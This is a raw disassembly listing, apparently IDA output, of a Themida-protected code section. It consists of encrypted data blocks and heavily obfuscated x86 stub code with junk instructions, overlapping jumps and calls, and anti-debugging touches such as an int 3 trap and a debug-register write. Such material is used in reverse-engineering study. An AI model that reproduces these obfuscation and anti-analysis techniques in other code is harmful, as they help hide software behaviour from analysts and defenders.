dd 6662FD1Eh, 8C0FF28Bh, 4, 5FCF8A51h, 94F38166h, 0F6051FCh
dd 8Bh, 0BB5F6100h, 39789B0Dh, 0BF93DE80h, 53D82D23h, 5870Fh
dd 81660000h, 0B38120D6h, 6026B02Ah, 99D68166h, 8E96025h
dd 4A000000h, 3C1A6CA7h, 0F07244Dh, 8Ch, 0E9616100h, 0Ch
dd 16C7A964h, 0CAC1B62Fh, 7B6B88DBh, 2860Fh, 1B10000h
dd 0FFCF38Bh, 38Ch, 52F78000h, 0E5CA8166h, 0FFBEF9DAh
dd 0E903283Ah, 6, 932C2BDh, 8B663777h, 6084B3CEh, 5E9h
dd 11BD3600h, 8166664Bh, 61DF5BE2h, 9E9h, 0B0B5C800h, 0A21B1AE5h
dd 8B66933Dh, 60D68BD0h, 12E9h, 0E459D000h, 0A16BFEA5h
dd 0B337D431h, 8B697B34h, 0F6B2786h, 48Fh, 0C7BE6600h
dd 0C1BF6118h, 0E9729D79h, 9, 0D8FAB6A6h, 40ED3571h, 3880F51h
dd 0F000000h, 8166DABFh, 0E957F3EEh, 7, 6C62104Ah, 80CC7547h
dd 0B70F1DC3h, 0BE9D3h, 0FD460000h, 0ED62431Ah, 0C39C23B7h
dd 66F08BADh, 0BA53D88Bh, 7E7BAB1Fh, 0B8E0F59h, 0E9000000h
dd 6, 7D143A28h, 0BA66A89Eh, 0B8661D6Bh, 8060BAFBh, 0D881F4D3h
dd 4C69D6D0h, 128D0F61h, 0E9000000h, 0Dh, 0EBA35E1Fh, 0F352109Ah
dd 1D2E2F5Eh, 0F28166DBh, 880FE21Ch, 0Ah, 4850Fh, 0BB660000h
dd 0FE83F85h, 52000000h, 0F0FC3D55h, 8E03B5ADh, 5A1909CCh
dd 840F043Eh, 0Bh, 6E9h, 0E4F3E000h, 591D96A7h, 7D9AD8BBh
dd 0EE914h, 37B50000h, 73ADCEAAh, 297592CDh, 9C036305h
dd 0E4F4E681h, 22B4505Fh, 0D2BF0F51h, 8AA1B75Fh, 0F2E781C3h
dd 665021AEh, 8766F281h, 6601CF80h, 5BE3DE81h, 58B0Fh
dd 8ABB0000h, 0BA5ABC0Ah, 4F4AE076h, 66BE6660h, 81665319h
dd 59F3B3CBh, 97BF6661h, 66F38B7Fh, 0F180CB8Bh, 7880FC9h
dd 60000000h, 0B4C1BF0Fh, 0DE961CBh, 0D3000000h, 9AAC8EA3h
dd 0FF270AABh, 29B21461h, 16CD80F8h, 10E9h, 72045700h
dd 9C82F492h, 2E43030h, 0E843A85Eh, 66F38BA6h, 0FB0C6BFh
dd 0DE8C0B7h, 0AE000000h, 247A13F7h, 83B8483Ah, 0B4F4AC50h
dd 5259FFB0h, 0FE9h, 0E16BBE00h, 266E4E9Ah, 9F5E638Ah
dd 2DBFAB35h, 0F381665Eh, 0D18B8CA6h, 0C7816660h, 0CA817864h
dd 759293C7h, 89D98161h, 0F52E5C9h, 8B0FDAB7h, 5, 0C41ACB8h
dd 0C1806026h, 0BE88Eh, 87AF0000h, 1DCA3B67h, 7BB53DFh
dd 0E9615F35h, 8, 93D77233h, 4C614768h, 8E8h, 3C1DE900h
dd 1324D99Eh, 0C3B70F71h, 0FFB70F5Ah, 56F554B7h, 5BDEBF0Fh
dd 8B66C38Bh, 10E9F8h, 9B7D0000h, 0EAFFCACDh, 0D4E6BDBDh
dd 0AC4BC82h, 0CF816A1Ah, 61C1B815h, 816660F8h, 613769D9h
dd 0BA661EB6h, 81664E76h, 8AAC74E0h, 9E856F8h, 67000000h
dd 2AC73D6Eh, 61AA80EFh, 0FDE08166h, 0B2585933h, 50B0F996h
dd 0D4DABA66h, 35B966FCh, 0F6816602h, 5E9FF05h, 58000000h
dd 37918F84h, 0AEF8166h, 0D2BF0FEEh, 0AE9D78Bh, 1C000000h
dd 0E3FF9922h, 76303233h, 0F1BB1F5h, 0FB8BC1BFh, 1CC98166h
dd 0D68166D9h, 8B665062h, 52EE8AC6h, 0FB928CBFh, 0FD8A594Fh
dd 0F9CBBB66h, 0E960F98Bh, 11h, 0AF88CFF6h, 0B7A84299h
dd 0E34551F4h, 6A1698F1h, 8B0F4Fh, 61000000h, 5B6EB753h
dd 0E9F8B70Fh, 0Ch, 426A6B49h, 0CBAF4A1Bh, 33FEBD05h, 14E9h
dd 0D753BB00h, 53219F2Ah, 83BA4B15h, 37C2E05Ah, 0D1365C61h
dd 4CBE6641h, 0D0BF0FB5h, 1E8E0Fh, 8C0F0000h, 18h, 13E9h
dd 0DD900200h, 5AEEDC47h, 47B9EE6Dh, 6914B638h, 7DE3717Eh
dd 0ECE68166h, 57D780D6h, 9E8h, 0D554A100h, 2647C710h
dd 8B66B281h, 0B8665AF3h, 0E8F5F44Bh, 0Ah, 0E51BF325h
dd 674B2013h, 816609BFh, 5F78B3CFh, 12E9h, 0ACE90000h
dd 0B6CD4F7Fh, 45CF6957h, 99DA2D91h, 81F506C7h, 0BA990FF0h
dd 0CE877h, 67F90000h, 6E19C58Dh, 555CAEFFh, 0F6006E7h
dd 82h, 0CE900h, 0EAA0000h, 0EC778867h, 0D8FE40D4h, 5A6140B5h
dd 2E07B866h, 14E9h, 9EE5AC00h, 57404380h, 8E82BEC3h, 8F8592FDh
dd 8DFEEF88h, 0B9565356h, 615A312h, 0F57585Eh, 184h, 535FF900h
dd 5BC4B452h, 0CF8B6659h, 266BDF81h, 0B70F7056h, 2A49B8F3h
dd 12E97E77h, 93000000h, 0F667DC8Eh, 43CD8A30h, 0ABDA273Fh
dd 0CB4FEDCAh, 0C8C080E5h, 814DE780h, 6969E1DBh, 11BE663Fh
dd 0BE86094h, 0FB000000h, 0D5B40441h, 8F7FECF0h, 8E0F4162h
dd 0
; ---------------------------------------------------------------------------
pop esi
ja loc_5CF74D
xor ebx, 5647FE4h
loc_5CF74D: ; CODE XREF: Themida_:005CF741j
popa
mov di, si
push ebx
mov bh, 0A5h
pop edx
jmp loc_5CF76D
; ---------------------------------------------------------------------------
dw 0F868h
dd 0E478C43Ah, 0E352E0CAh, 99AB9F54h, 0C15FB916h
; ---------------------------------------------------------------------------
push ecx
loc_5CF76D: ; CODE XREF: Themida_:005CF755j
xor bh, 0D0h
mov bx, si
mov bx, 0B323h
and si, 0A9h
mov ebx, edx
push eax
pop eax
jmp loc_5CF78D
; ---------------------------------------------------------------------------
test esi, 1EE7DD70h
fcom qword ptr [edi]
loc_5CF78D: ; CODE XREF: Themida_:005CF780j
mov edi, edx
jno $+6
add ax, 0FC2Ch
sbb eax, 31D2BE43h
clc
sub eax, 11CF1E98h
call sub_5CF7B5
; ---------------------------------------------------------------------------
dec edx
retn 0B189h
; ---------------------------------------------------------------------------
dd 61F9D97Dh
db 0CEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_5CF7B5 proc near ; CODE XREF: Themida_:005CF7A7p
jmp sub_5CF7CD
sub_5CF7B5 endp
; ---------------------------------------------------------------------------
dw 69CEh
dd 158A6860h, 6D5E01BCh, 0B0B6ACAAh, 6DC4F5FCh
db 0A8h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5CF7CD proc near ; CODE XREF: sub_5CF7B5j
pop edi
sbb cl, 47h
mov eax, 67B3D98h
sbb eax, 6CAD0983h
mov ebx, esi
sbb cx, 0C79Bh
push edx
mov edi, esi
pop esi
call sub_5CF7FC
sub ah, dl
sbb al, 93h
pop edi
sti
pop eax
pop ecx
sbb al, 0E6h
push ebp
jmp near ptr 518701EBh
sub_5CF7CD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CF7FC proc near ; CODE XREF: sub_5CF7CD+1Ap
; FUNCTION CHUNK AT 005CF836 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CF84A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CF861 SIZE 00000068 BYTES
pop edi
push ecx
pop edi
mov edx, 3785F6A0h
mov ecx, ebx
adc ebx, 2DF7FFEAh
add bx, 0FB61h
mov ch, 0F3h
mov dl, 23h
jge loc_5CF836
call near ptr loc_5CF82F+4
movsd
mov al, ds:460FBA3Fh
adc al, 0F9h
xchg eax, esi
das
db 36h
mov dl, 3
fisttp qword ptr [eax]
loc_5CF82F: ; CODE XREF: sub_5CF7FC+1Fp
call far ptr 5E61h:602B001Fh
sub_5CF7FC endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_5CF7FC
loc_5CF836: ; CODE XREF: sub_5CF7FC+19j
jmp loc_5CF84A
; END OF FUNCTION CHUNK FOR sub_5CF7FC
; ---------------------------------------------------------------------------
db 0A8h
dd 0E1194E1Fh, 0EE0A0038h, 39253B18h
db 53h, 2Dh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CF7FC
loc_5CF84A: ; CODE XREF: sub_5CF7FC:loc_5CF836j
jmp loc_5CF861
; END OF FUNCTION CHUNK FOR sub_5CF7FC
; ---------------------------------------------------------------------------
db 6
dd 3287053h, 1B327493h, 0A047711Ah, 7FD36481h
; ---------------------------------------------------------------------------
lodsb
; START OF FUNCTION CHUNK FOR sub_5CF7FC
loc_5CF861: ; CODE XREF: sub_5CF7FC:loc_5CF84Aj
mov dl, al
mov eax, 283F1AC1h
mov ah, dh
jle loc_5CF878
jnz loc_5CF878
push ebx
pop ecx
loc_5CF878: ; CODE XREF: sub_5CF7FC+6Ej
; sub_5CF7FC+74j
clc
mov edx, ebx
adc di, 8378h
mov ebx, 0CF06C42h
mov edx, 7B1F0DD3h
jns $+6
pusha
push edx
pop esi
mov si, ax
popa
pusha
mov dl, 58h
and edi, 720F022Fh
popa
and edi, 2462F557h
mov cl, dl
cld
push ebx
mov ax, di
pop esi
xor ebx, 4F2D18C7h
mov bh, 2Dh
call near ptr sub_5CF8CC ; CODE XREF: sub_5CF7FC+C0j
loopne near ptr loc_5CF8B7+4
test [edx-5666EB5Ah], dl
mov ds:0C9E15873h, al
; END OF FUNCTION CHUNK FOR sub_5CF7FC
; ---------------------------------------------------------------------------
db 8Eh, 0FAh, 40h
; =============== S U B R O U T I N E =======================================
sub_5CF8CC proc far ; CODE XREF: sub_5CF7FC:loc_5CF8B7p
sub bl, 0E5h
pop ecx
pusha
sub edi, 7A34C992h
jmp loc_5CF8EF
; ---------------------------------------------------------------------------
dd 5AA92155h, 4BC8BA6Eh, 4549594Fh, 0DB52FABh
db 0EAh, 23h, 0E1h
; ---------------------------------------------------------------------------
loc_5CF8EF: ; CODE XREF: sub_5CF8CC+Bj
popa
pusha
jb loc_5CF8FC
mov ecx, 0C4D179Ch
loc_5CF8FC: ; CODE XREF: sub_5CF8CC+25j
adc bh, 9Ch
popa
jmp loc_5CF90E
; ---------------------------------------------------------------------------
push ebp
mov edi, 96202857h
shr byte ptr [eax-26h], 1
loc_5CF90E: ; CODE XREF: sub_5CF8CC+34j
mov ax, dx
mov ch, 0BAh
mov ebx, esi
jns $+6
movsx ecx, ax
jmp loc_5CF937
; ---------------------------------------------------------------------------
db 0Eh
dd 757FF2A2h, 0DF0B9FF4h, 70348A31h, 28EAF043h
; ---------------------------------------------------------------------------
pop ebp
fisub word ptr [edi]
loc_5CF937: ; CODE XREF: sub_5CF8CC+52j
pusha
adc bh, 9Ah
popa
mov cx, 0BB9Ah
mov si, di
mov si, 72ADh
pusha
stc
popa
jnz loc_5CF955
mov ebx, 74C298FEh
loc_5CF955: ; CODE XREF: sub_5CF8CC+7Ej
mov ch, 27h
sbb ecx, 595A07B2h
mov edi, 7A87B466h
mov ebx, 3FEFE434h
add cx, 6A60h
mov cx, 436Ch
mov ax, 0C716h
mov bx, 4105h
jg loc_5CF981
mov cx, di
loc_5CF981: ; CODE XREF: sub_5CF8CC+ACj
sub ch, 0E8h
jl loc_5CF992
ja loc_5CF992
mov dl, 2Fh
loc_5CF992: ; CODE XREF: sub_5CF8CC+B8j
; sub_5CF8CC+BEj
stc
push edx
jg $+6
pop edx
stc
sbb bl, 0FEh
mov esi, ecx
cmc
jo loc_5CF9AA
mov al, 0EEh
loc_5CF9AA: ; CODE XREF: sub_5CF8CC+D6j
pusha
jmp loc_5CF9B7
; ---------------------------------------------------------------------------
dd 972BEBD2h
db 0ADh, 2 dup(0C2h)
; ---------------------------------------------------------------------------
loc_5CF9B7: ; CODE XREF: sub_5CF8CC+DFj
pusha
mov ax, 3D2Ah
jmp loc_5CF9D2
; ---------------------------------------------------------------------------
xchg eax, esp
mov [ebx+2E54243Ch], esp
xor al, 34h
retf 0BCD0h
; ---------------------------------------------------------------------------
db 32h, 33h, 73h
db 0FBh, 0Ch
; ---------------------------------------------------------------------------
loc_5CF9D2: ; CODE XREF: sub_5CF8CC+F0j
popa
popa
jmp loc_5CF9ED
; ---------------------------------------------------------------------------
db 1Ah, 0Dh, 89h
dd 8A8A07EAh, 5A73E43Fh, 5DC50970h, 0B4205619h
; ---------------------------------------------------------------------------
popa
loc_5CF9ED: ; CODE XREF: sub_5CF8CC+108j
sbb di, 0B036h
mov ax, 86D3h
push edx
movzx ebx, dx
pop edx
mov cl, dh
pusha
jmp loc_5CFA12
; ---------------------------------------------------------------------------
db 0F6h
dd 368B392Dh, 9B08E486h, 0A1459FEEh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
cmpsd
loc_5CFA12: ; CODE XREF: sub_5CF8CC+132j
pusha
mov dx, si
xor di, 4094h ; CODE XREF: sub_5CF8CC+1BCj
popa
popa
mov ecx, esi
clc
mov cl, dh
mov dx, 697Fh
or eax, 6D5E1D93h
sub edi, 4DFBD0B6h
jmp loc_5CFA3D
; ---------------------------------------------------------------------------
align 4
dd 0F7A73BE2h
db 62h
; ---------------------------------------------------------------------------
loc_5CFA3D: ; CODE XREF: sub_5CF8CC+166j
jle loc_5CFA56
jmp loc_5CFA56
; ---------------------------------------------------------------------------
pop ecx
xchg eax, ebx
push 3Ah
pop esi
shl byte ptr [eax+9], 1
push ebp
and bl, [eax-6Ah]
js short near ptr byte_5CFACC
loc_5CFA56: ; CODE XREF: sub_5CF8CC:loc_5CFA3Dj
; sub_5CF8CC+177j
mov ecx, 4EBB59Eh
jmp loc_5CFA66
; ---------------------------------------------------------------------------
dd 148F4134h
; ---------------------------------------------------------------------------
xor al, bl
loc_5CFA66: ; CODE XREF: sub_5CF8CC+18Fj
clc
jmp loc_5CFA77
; ---------------------------------------------------------------------------
dd 0CB5C8487h, 245BBD10h
db 45h, 98h, 0Ah
; ---------------------------------------------------------------------------
loc_5CFA77: ; CODE XREF: sub_5CF8CC+19Bj
call loc_5CFA8A
mov dword ptr [esi-2B0424C5h], 0DC1F0601h
inc esi
stosd
jbe short near ptr loc_5CFA16+2
sub_5CF8CC endp ; sp-analysis failed
loc_5CFA8A: ; CODE XREF: sub_5CF8CC:loc_5CFA77p
pusha
adc bh, 71h
mov cx, ax
popa
pop ebx
jl loc_5CFAA9
jmp loc_5CFAA9
; ---------------------------------------------------------------------------
dw 28E4h
dd 0AEB50687h, 439360FAh
db 25h
; ---------------------------------------------------------------------------
loc_5CFAA9: ; CODE XREF: Themida_:005CFA93j
; Themida_:005CFA99j
mov edx, eax
movsx eax, si
and edx, 22C67925h
call sub_5CFACD
cmp dword ptr [ecx+2Ah], 0FFFFFFA1h
inc edx
loopne near ptr loc_5CFB19+1
outsd
inc ebx
loope near ptr sub_5CFB04+2
mov al, ds:96C3AF32h
add [eax+36h], esi
; ---------------------------------------------------------------------------
byte_5CFACC db 8Dh ; CODE XREF: sub_5CF8CC+188j
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5CFACD proc near ; CODE XREF: Themida_:005CFAB4p
jmp sub_5CFADF
sub_5CFACD endp
; ---------------------------------------------------------------------------
dw 229h
dd 0F1B920B1h, 0BAF6A116h
db 0, 7Ch, 0FAh
; =============== S U B R O U T I N E =======================================
sub_5CFADF proc near ; CODE XREF: sub_5CFACDj
pop eax
push esi
movzx ebx, si
pop ecx
call sub_5CFAFA
out 0CCh, eax ; DMA controller, 8237A-5.
; clear byte pointer flip-flop.
xor [eax+771E5025h], al
xor ch, [esi+ebx*8+4BE35760h]
pop eax
sub_5CFADF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CFAFA proc near ; CODE XREF: sub_5CFADF+6p
call sub_5CFB04
mov al, ds:0A2D97430h
sub_5CFAFA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CFB04 proc near ; CODE XREF: sub_5CFAFAp
; Themida_:005CFAC2j
; FUNCTION CHUNK AT 005CFBE5 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005CFC21 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005CFC52 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005CFC6F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005CFC81 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005CFC97 SIZE 00000036 BYTES
movzx eax, bx
pop eax
pop ecx
mov edx, 30435DD9h
jmp loc_5CFB18
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
sbb al, 96h
xor al, 0BCh
loc_5CFB18: ; CODE XREF: sub_5CFB04+Aj
cld
loc_5CFB19: ; CODE XREF: Themida_:005CFABEj
jmp loc_5CFB30
; ---------------------------------------------------------------------------
dw 2085h
dd 0C8B8270Dh, 1C646C59h, 0DDD4E703h, 0EF30223h
; ---------------------------------------------------------------------------
loc_5CFB30: ; CODE XREF: sub_5CFB04:loc_5CFB19j
jle loc_5CFB38
mov eax, ebx
loc_5CFB38: ; CODE XREF: sub_5CFB04:loc_5CFB30j
mov ax, si
cld
pusha
xor edi, 1A8852Bh
xor al, 84h
popa
mov dh, bh
jmp loc_5CFB53
; ---------------------------------------------------------------------------
loc_5CFB4E: ; CODE XREF: sub_5CFB04+7Dj
mov ah, 0F1h
mov ebp, esi
; ---------------------------------------------------------------------------
db 8Fh
; ---------------------------------------------------------------------------
loc_5CFB53: ; CODE XREF: sub_5CFB04+45j
mov bx, 0E93Bh
clc
pusha
mov edx, 6CEF4127h
movsx esi, cx
popa
sub dx, 2497h
add al, 57h
push eax
pusha
loc_5CFB6C: ; CODE XREF: sub_5CFB04+E2j
mov dx, 39FFh
popa
pop ecx
stc
call near ptr loc_5CFB83+2
jg short loc_5CFBE5
adc ds:3916199Dh, bl
scasb
jbe short loc_5CFB4E
loc_5CFB83: ; CODE XREF: sub_5CFB04+6Fp
xor bl, [eax-41A02376h]
sub_5CFB04 endp ; sp-analysis failed
and [ebp+edx*8-230F7EF6h], edi
fcomp dword ptr [ebp+25h]
jmp loc_5CFB9F
; ---------------------------------------------------------------------------
dd 527A099Fh
db 25h, 2Ah, 0C5h
; ---------------------------------------------------------------------------
loc_5CFB9F: ; CODE XREF: Themida_:005CFB93j
call near ptr loc_5CFBAD+2
or eax, esp
stosd
mov word ptr [ebp+61211D0Ch], cs
loc_5CFBAD: ; CODE XREF: Themida_:loc_5CFB9Fp
mov edi, es:[ecx+4D6F62ABh]
pop esi
movsx ecx, bx
mov eax, edx
or dx, 0AD74h
push eax
pop eax
jnz loc_5CFBC9
mov ah, 0BFh
loc_5CFBC9: ; CODE XREF: Themida_:005CFBC1j
stc
loc_5CFBCA: ; CODE XREF: Themida_:005CFC44j
or esi, 4686F688h
or bh, 9Ah
jmp near ptr loc_5CFBEA+1
; ---------------------------------------------------------------------------
dd 8B64F9E2h, 0BABB48B3h, 9B58DD93h
db 0DEh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CFB04
loc_5CFBE5: ; CODE XREF: sub_5CFB04+74j
xchg eax, ebp
jns short loc_5CFB6C
pop esi
cli
loc_5CFBEA: ; CODE XREF: Themida_:005CFBD3j
mov al, 0Fh
add dword ptr [eax+eax], 0
add [esi-42h], ah
adc al, 5Bh
mov si, 3F3Ch
movzx ebx, di
jle loc_5CFC04
mov ebx, esi
loc_5CFC04: ; CODE XREF: sub_5CFB04+F8j
movzx edi, si
mov ah, 56h
mov al, dl
mov si, bx
mov eax, ecx
cmc
jmp loc_5CFC21
; END OF FUNCTION CHUNK FOR sub_5CFB04
; ---------------------------------------------------------------------------
dw 87D2h
dd 44058050h, 70056443h
db 0Ah
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CFB04
loc_5CFC21: ; CODE XREF: sub_5CFB04+10Dj
and ax, 0CFD2h
mov ebx, ecx
adc eax, 28937A73h
push edx
mov cx, ax
pop eax
movsx esi, bx
mov dx, 545Ch
mov ebx, ecx
jmp loc_5CFC52
; END OF FUNCTION CHUNK FOR sub_5CFB04
; ---------------------------------------------------------------------------
jmp fword ptr [edx+ebp*2]
; ---------------------------------------------------------------------------
jge short loc_5CFBCA
adc dh, [edi-6Ah]
sub eax, 9DC549D9h
icebp
xor dl, [esi+0Bh]
; START OF FUNCTION CHUNK FOR sub_5CFB04
loc_5CFC52: ; CODE XREF: sub_5CFB04+138j
mov esi, 345D4A8Dh
jmp loc_5CFC6F
; END OF FUNCTION CHUNK FOR sub_5CFB04
; ---------------------------------------------------------------------------
dd 5789B069h, 39FC54C2h, 52A0A2A4h, 6E473FA3h
db 0DDh, 0C5h, 0A9h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CFB04
loc_5CFC6F: ; CODE XREF: sub_5CFB04+153j
mov si, 498Ah
jmp loc_5CFC81
; END OF FUNCTION CHUNK FOR sub_5CFB04
; ---------------------------------------------------------------------------
dd 58B9C9B2h, 7F3ED737h
db 21h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CFB04
loc_5CFC81: ; CODE XREF: sub_5CFB04+16Fj
mov ch, dl
cld
jmp loc_5CFC97
; END OF FUNCTION CHUNK FOR sub_5CFB04
; ---------------------------------------------------------------------------
db 9Fh, 0D6h, 2Dh
dd 60158619h, 0FFC98064h
db 53h, 5Bh, 0E2h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CFB04
loc_5CFC97: ; CODE XREF: sub_5CFB04+180j
jnz loc_5CFCA0
movzx eax, di
loc_5CFCA0: ; CODE XREF: sub_5CFB04:loc_5CFC97j
mov cx, 329Dh
jz loc_5CFCAD
loc_5CFCAA: ; CODE XREF: Themida_:005CFD0Cj
sub cl, 0A2h
loc_5CFCAD: ; CODE XREF: sub_5CFB04+1A0j
sbb cx, 0BBC8h
mov ax, di
jl loc_5CFCDA
jp loc_5CFCDA
call sub_5CFCD9
das
dec esi
jmp near ptr 52BBA97Fh
; END OF FUNCTION CHUNK FOR sub_5CFB04
; ---------------------------------------------------------------------------
db 1, 14h, 12h
dd 28957727h, 86A82B8Eh
db 0F6h
; =============== S U B R O U T I N E =======================================
sub_5CFCD9 proc near ; CODE XREF: sub_5CFB04+1BDp
pop edx
loc_5CFCDA: ; CODE XREF: sub_5CFB04+1B1j
; sub_5CFB04+1B7j
stc
sbb ecx, 58F16D49h
call near ptr loc_5CFCE9+2
arpl sp, bx
stosb
loc_5CFCE9: ; CODE XREF: sub_5CFCD9+8p
fild dword ptr gs:[ecx-0A54A70Eh]
sub_5CFCD9 endp ; sp-analysis failed
inc ecx
pop eax
jbe loc_5CFCFC
mov bx, 6BD7h
loc_5CFCFC: ; CODE XREF: Themida_:005CFCF2j
jnb loc_5CFD13
pusha
jmp loc_5CFD0E
; ---------------------------------------------------------------------------
dd 0CD22884Ch
; ---------------------------------------------------------------------------
jmp short loc_5CFCAA
; ---------------------------------------------------------------------------
loc_5CFD0E: ; CODE XREF: Themida_:005CFD03j
mov cx, 0C168h
popa
loc_5CFD13: ; CODE XREF: Themida_:loc_5CFCFCj
clc
jmp loc_5CFD20
; ---------------------------------------------------------------------------
db 7Bh, 0Fh, 0F1h
dd 9C878EECh
; ---------------------------------------------------------------------------
loc_5CFD20: ; CODE XREF: Themida_:005CFD14j
mov cl, 7Bh
mov cx, si
pusha
pusha
mov di, 6E76h
mov si, 4CDDh
popa
xor ecx, 40BB0088h
popa
pusha
mov edx, 34CABD37h
popa
cmc
push ecx
jnb loc_5CFD60
call sub_5CFD5F
mov dh, 91h
cmp al, dl
jp short near ptr loc_5CFD91+3
and byte ptr [ecx-7375C6D6h], 22h
jmp near ptr 6A25661Bh
; ---------------------------------------------------------------------------
db 0EAh, 67h
; =============== S U B R O U T I N E =======================================
sub_5CFD5F proc near ; CODE XREF: Themida_:005CFD46p
pop ecx
loc_5CFD60: ; CODE XREF: Themida_:005CFD40j
pop eax
pusha
movsx ecx, si
call near ptr loc_5CFD71+5
sbb ebx, [ecx-76829E5Ah]
cli
loc_5CFD71: ; CODE XREF: sub_5CFD5F+6p
cmp dword ptr [esi], 80272561h
sub_5CFD5F endp ; sp-analysis failed
mov dword ptr [esi], 81666158h
test byte ptr [ebp-42h], 0Fh
mov bh, 0FAh
mov di, 7EDEh
mov esi, 7EE785F4h
call near ptr loc_5CFD9D+4
loc_5CFD91: ; CODE XREF: Themida_:005CFD4Fj
mov al, ds:5D8BFEC5h
mov dr6, esp
pop ebp
xor cl, dl
out dx, al
loc_5CFD9D: ; CODE XREF: Themida_:005CFD8Cp
fadd dword ptr [ebp-77F0CE63h]
add eax, 0B8000000h
and edx, [eax]
inc eax
ja short near ptr loc_5CFE0A+2
jno loc_5CFDB7
push edx
pusha
popa
pop esi
loc_5CFDB7: ; CODE XREF: Themida_:005CFDADj
mov dh, 0E3h
mov dx, 0BA30h
mov si, cx
stc
jmp loc_5CFDD6
; ---------------------------------------------------------------------------
retn 8170h
; ---------------------------------------------------------------------------
db 0D4h, 47h, 0ADh
dd 26468172h, 0F065D112h
db 0DCh, 0A1h
; ---------------------------------------------------------------------------
loc_5CFDD6: ; CODE XREF: Themida_:005CFDC1j
jmp loc_5CFDE7
; ---------------------------------------------------------------------------
db 61h
dd 7F2DB4FCh, 3A087D06h
db 0F4h, 6Ah, 75h
; ---------------------------------------------------------------------------
loc_5CFDE7: ; CODE XREF: Themida_:loc_5CFDD6j
push ebx
sbb dx, 3BBCh
pop ecx
jp loc_5CFE01
call near ptr sub_5CFDFE
; ---------------------------------------------------------------------------
db 0C4h, 0DEh, 0C8h
db 8Fh, 15h
; =============== S U B R O U T I N E =======================================
sub_5CFDFE proc far ; CODE XREF: Themida_:005CFDF4p
; FUNCTION CHUNK AT 005CFE77 SIZE 00000014 BYTES
pusha
popa
pop esi
loc_5CFE01: ; CODE XREF: Themida_:005CFDEEj
call near ptr locret_5CFE18+2
jle short loc_5CFE77
cmpsd
sti
loc_5CFE0A: ; CODE XREF: Themida_:005CFDABj
shl byte ptr [ecx], 0AEh
scasb
pop ebp
mov ah, 8Ch
and al, 24h
mov esp, 6F6B6C06h
locret_5CFE18: ; CODE XREF: sub_5CFDFE:loc_5CFE01p
retf 0F19h
sub_5CFDFE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
add dword ptr [edx], 60000000h
popa
pop edx
jnb loc_5CFE2B
mov ah, bh
loc_5CFE2B: ; CODE XREF: Themida_:005CFE23j
mov ecx, edi
cld
jmp loc_5CFE3B
; ---------------------------------------------------------------------------
db 0C9h
dd 8F9FD838h
; ---------------------------------------------------------------------------
xor ch, 6Ah
loc_5CFE3B: ; CODE XREF: Themida_:005CFE2Ej
jmp loc_5CFE4B
; ---------------------------------------------------------------------------
dec ebx
fld qword ptr [eax+67427E48h]
dec esp
db 66h
xlat
cmpsd
loc_5CFE4B: ; CODE XREF: Themida_:loc_5CFE3Bj
mov ax, 2E65h
mov al, 0ECh
ja loc_5CFE69
pusha
pusha
popa
call sub_5CFE67
pop esi
dec edi
mov dl, 82h
cli
int 3 ; Trap to Debugger
push ebp
pop ss
; =============== S U B R O U T I N E =======================================
sub_5CFE67 proc near ; CODE XREF: Themida_:005CFE5Ap
pop edx
popa
loc_5CFE69: ; CODE XREF: Themida_:005CFE51j
sbb bx, 79A2h
and ch, 97h
adc ecx, 4629C4A2h
sub_5CFE67 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_5CFDFE
loc_5CFE77: ; CODE XREF: sub_5CFDFE+8j
jge loc_5CFE82
xor si, 0E6B8h
loc_5CFE82: ; CODE XREF: sub_5CFDFE:loc_5CFE77j
call sub_5CFE8F
pop ebp
xchg eax, edi
lahf
hlt
; END OF FUNCTION CHUNK FOR sub_5CFDFE
; ---------------------------------------------------------------------------
db 0F9h
db 0B6h, 0DBh, 14h
; =============== S U B R O U T I N E =======================================
sub_5CFE8F proc near ; CODE XREF: sub_5CFDFE:loc_5CFE82p
adc ch, 7Eh
pop edx
jno loc_5CFE9B
mov ah, 98h
loc_5CFE9B: ; CODE XREF: sub_5CFE8F+4j
pusha
mov edx, edi
popa
adc ebx, 2BFCBA0Eh
clc
jmp loc_5CFEBE
; ---------------------------------------------------------------------------
db 54h
dd 371B55C8h, 0C470DC0h, 8BC87A5Fh, 4EC53037h
db 0A7h, 0D0h
; ---------------------------------------------------------------------------
loc_5CFEBE: ; CODE XREF: sub_5CFE8F+17j
push eax
call sub_5CFED4
pop ebx
sub bh, [ebx-1C8B7D24h]
setalc
dec ecx
adc al, 9Ah
cmp dword ptr [edx+34h], 60h
dec ebp
sub_5CFE8F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CFED4 proc near ; CODE XREF: sub_5CFE8F+30p
mov ebx, 512C5B1Fh
pop edi
pop esi
sub bx, 1490h
pusha
mov edx, esi
popa
call near ptr loc_5CFEED+3
aad 0AEh
fcmovu st, st(4)
loc_5CFEED: ; CODE XREF: sub_5CFED4+10p
rep and [ebx-7Fh], ch
sub_5CFED4 endp ; sp-analysis failed
out 1Bh, eax
dec esi
sahf
adc eax, 13E8F55Fh
; ---------------------------------------------------------------------------
dw 0
